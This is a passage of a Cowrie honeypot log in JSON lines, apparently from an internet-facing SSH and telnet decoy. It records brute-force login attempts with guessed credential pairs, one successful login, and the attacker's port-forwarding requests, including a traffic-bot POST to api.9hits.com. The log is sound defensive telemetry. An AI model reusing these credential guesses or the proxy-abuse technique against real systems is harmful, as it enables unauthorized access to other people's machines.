f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:36.064314Z","src_ip":"101.36.122.139","session":"97e244921c9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"speedtest","password":"speedtest@123","message":"login attempt [speedtest/speedtest@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:36.983136Z","src_ip":"101.36.122.139","session":"97e244921c9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.5","message":"Connection lost after 17.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:38.150950Z","src_ip":"91.92.40.36","session":"2874e8b690c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:38.207492Z","src_ip":"101.36.122.139","session":"97e244921c9c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jay","password":"jay","message":"login attempt [jay/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:40.006083Z","src_ip":"91.92.40.36","session":"88dea622e5d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":38924,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ed443075260","protocol":"ssh","message":"New connection: 91.92.40.36:38924 (10.17.0.5:22) [session: 0ed443075260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:40.755802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:42.379116Z","src_ip":"91.92.40.36","session":"0ed443075260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:42.382588Z","src_ip":"91.92.40.36","session":"0ed443075260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.2","message":"Connection lost after 8.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:42.483244Z","src_ip":"91.92.40.36","session":"88dea622e5d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12","message":"login attempt [user/12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:45.466377Z","src_ip":"91.92.40.36","session":"0ed443075260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:46.868289Z","src_ip":"91.92.40.36","session":"0ed443075260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.862584590911865,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:48.597123Z","src_ip":"172.81.62.90","session":"7d624ac59149","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59288,"dst_ip":"10.17.0.5","dst_port":22,"session":"d316efc0d6ad","protocol":"ssh","message":"New connection: 91.92.40.36:59288 (10.17.0.5:22) [session: d316efc0d6ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:53.229103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:53.364278Z","src_ip":"91.92.40.36","session":"d316efc0d6ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:54.463618Z","src_ip":"91.92.40.36","session":"d316efc0d6ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":12984,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cc4f12896e7","protocol":"ssh","message":"New connection: 91.92.40.36:12984 (10.17.0.5:22) [session: 0cc4f12896e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:58.867914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:59.626512Z","src_ip":"91.92.40.36","session":"0cc4f12896e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:26:59.629490Z","src_ip":"91.92.40.36","session":"0cc4f12896e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:01.124385Z","src_ip":"91.92.40.36","session":"0cc4f12896e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud123!","message":"login attempt [cloud/cloud123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:01.805783Z","src_ip":"91.92.40.36","session":"d316efc0d6ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:02.346955Z","src_ip":"91.92.40.36","session":"0cc4f12896e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":60804,"dst_ip":"10.17.0.5","dst_port":22,"session":"90dac1612afd","protocol":"ssh","message":"New connection: 113.164.152.20:60804 (10.17.0.5:22) [session: 90dac1612afd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:03.578017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:03.583265Z","src_ip":"113.164.152.20","session":"90dac1612afd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:03.877373Z","src_ip":"113.164.152.20","session":"90dac1612afd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.9","message":"Connection lost after 10.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:04.130808Z","src_ip":"91.92.40.36","session":"d316efc0d6ad","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:05.050387Z","src_ip":"113.164.152.20","session":"90dac1612afd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":41904,"dst_ip":"10.17.0.5","dst_port":22,"session":"b279d1498533","protocol":"ssh","message":"New connection: 103.122.221.179:41904 (10.17.0.5:22) [session: b279d1498533]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:05.130856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:05.135698Z","src_ip":"103.122.221.179","session":"b279d1498533","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:05.387194Z","src_ip":"103.122.221.179","session":"b279d1498533","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:05.474170Z","session":"90dac1612afd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:05.727212Z","session":"90dac1612afd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jackass1","message":"login attempt [root/jackass1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:06.144734Z","src_ip":"103.122.221.179","session":"b279d1498533","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":15542,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f38e8218c4b","protocol":"ssh","message":"New connection: 91.92.40.36:15542 (10.17.0.5:22) [session: 7f38e8218c4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:06.748528Z"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:06.768710Z","src_ip":"113.164.152.20","session":"90dac1612afd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PEN9bnQxWng%2BVFNmRXNmbw%3D%3DowwFoVhGGe6%2Fg4mhNonfz1I2kcGMWazdTi6Lf8bD5C2HpVJ9AtV905fS4tHGNqvqDjhf4VjpSqNVIpNoDamuwN6T3Pe1KzT63KpGiFaBwpEtdC58801NW%2Fyo3ORxukoGH0uwXiWlNd1t8nujIy7D%2F0THvDwUvL5F21kyjnlEIw4S1qC%2BqoB3zce7IqpVwak7yRuLpjheo7FZV%2BflAph%2By4ln29yDZMHpGmzBIyXwGbjnd%2BQqg3DBpycFgLD0u7tuSlTIz1BWeF%2FcAF%2FJ1zooXXnsrJ7YrfS1AMT9NMrBEmMp04csYI8ypHvR5SilUDUbVniUEH3%2FCLdvl7L2ysZ%2FvAxsq8Bk4uQqYy01kYMlUJD1Q%2BdYUbPEh4b0K3j0KlE%2BJjIMMpcaCOZDUDnyPr1u%2BX7QIaxPnQRl3eaKtVOZfnYOMlKu9Kj06DZASgSR2hkVkeH%2BOW6NkjO12QJtTCQVmE7zsZK%2FOl9CGyCYuHSMC4UZiluQWvYfoM2ffQzbt%2B5tWd9I4nRkGZTctU6ZQ%2BiMkt4UvUzgvRhB1AOesnT2f7nYsqKsQEyFUYUm2IZ23zUVfsW8uttAJ3ZbcJqj%2F0e1yuGpycHLUXD1Gxh9O5s4A3wNYD16X47jAg3VpSW5izjjjHd2LcP8KcPFNULr%2BSBT0MjqC1VWjVdJowtXXe%2F9cKcqLDV4IvBtuBQ3z%2B8LdmluUn6Q6lfv34WhxiWFY578PYByZgWC8MPtasinS5BmdafhFjwRDnWUkPArXz8P6t1eo3NumJx8%2BdY8q0y%2BJpvFfTLiXKpwpA3ySpf3GOSoRtXDlVkk4PclEJmXx6fsh0NMbWvX9l%2Bu7N8IIAP%2FimDb5jfI2tyD4nPh%2BRjt4AMRMyWTZhFdJVBDxZ2faMfgr2wywE7ewcZfY4spnY%2BLkAVaYzG5kWJIG86DHmsL1fe7%2FNLIvenz362dYx5teaKx2%2BtMFgH8BJ2ymfqeaRqf2jqQmoM4SmRArpzNeupgWEVCTA6tOiRLcrC%2F%2Bys4vaF4%2BmiM%2FPjy01F%2B%2F2BRm382%2FPBEY1UmFBt8%2BymQgpKQ2AuHBMU%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1178\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=PEN9bnQxWng%2BVFNmRXNmbw%3D%3DowwFoVhGGe6%2Fg4mhNonfz1I2kcGMWazdTi6Lf8bD5C2HpVJ9AtV905fS4tHGNqvqDjhf4VjpSqNVIpNoDamuwN6T3Pe1KzT63KpGiFaBwpEtdC58801NW%2Fyo3ORxukoGH0uwXiWlNd1t8nujIy7D%2F0THvDwUvL5F21kyjnlEIw4S1qC%2BqoB3zce7IqpVwak7yRuLpjheo7FZV%2BflAph%2By4ln29yDZMHpGmzBIyXwGbjnd%2BQqg3DBpycFgLD0u7tuSlTIz1BWeF%2FcAF%2FJ1zooXXnsrJ7YrfS1AMT9NMrBEmMp04csYI8ypHvR5SilUDUbVniUEH3%2FCLdvl7L2ysZ%2FvAxsq8Bk4uQqYy01kYMlUJD1Q%2BdYUbPEh4b0K3j0KlE%2BJjIMMpcaCOZDUDnyPr1u%2BX7QIaxPnQRl3eaKtVOZfnYOMlKu9Kj06DZASgSR2hkVkeH%2BOW6NkjO12QJtTCQVmE7zsZK%2FOl9CGyCYuHSMC4UZiluQWvYfoM2ffQzbt%2B5tWd9I4nRkGZTctU6ZQ%2BiMkt4UvUzgvRhB1AOesnT2f7nYsqKsQEyFUYUm2IZ23zUVfsW8uttAJ3ZbcJqj%2F0e1yuGpycHLUXD1Gxh9O5s4A3wNYD16X47jAg3VpSW5izjjjHd2LcP8KcPFNULr%2BSBT0MjqC1VWjVdJowtXXe%2F9cKcqLDV4IvBtuBQ3z%2B8LdmluUn6Q6lfv34WhxiWFY578PYByZgWC8MPtasinS5BmdafhFjwRDnWUkPArXz8P6t1eo3NumJx8%2BdY8q0y%2BJpvFfTLiXKpwpA3ySpf3GOSoRtXDlVkk4PclEJmXx6fsh0NMbWvX9l%2Bu7N8IIAP%2FimDb5jfI2tyD4nPh%2BRjt4AMRMyWTZhFdJVBDxZ2faMfgr2wywE7ewcZfY4spnY%2BLkAVaYzG5kWJIG86DHmsL1fe7%2FNLIvenz362dYx5teaKx2%2BtMFgH8BJ2ymfqeaRqf2jqQmoM4SmRArpzNeupgWEVCTA6tOiRLcrC%2F%2Bys4vaF4%2BmiM%2FPjy01F%2B%2F2BRm382%2FPBEY1UmFBt8%2BymQgpKQ2AuHBMU%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:06.772383Z","src_ip":"113.164.152.20","session":"90dac1612afd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:27:06.776931Z","src_ip":"113.164.152.20","session":"90dac1612afd","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x96\\xd3\\x04h\\xf2\\x10\\xa0H!V&h\\xe99u\\x1cN\\xffm\\x8e\\x1f\\x86\\xa7b\\xff\\xa3,\\x95\\xff@\\x1c\\x18 \\xd9n\\xce\\x97\\xb0f\"M\\xdcR\\x870\\xc3\\xa0+li\\x7f\\xc7\\xb4\\x19\\xd5\\x13r\\xca\\xb9\\x83\\xa4\\xd6>\\xa6\\xdd\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 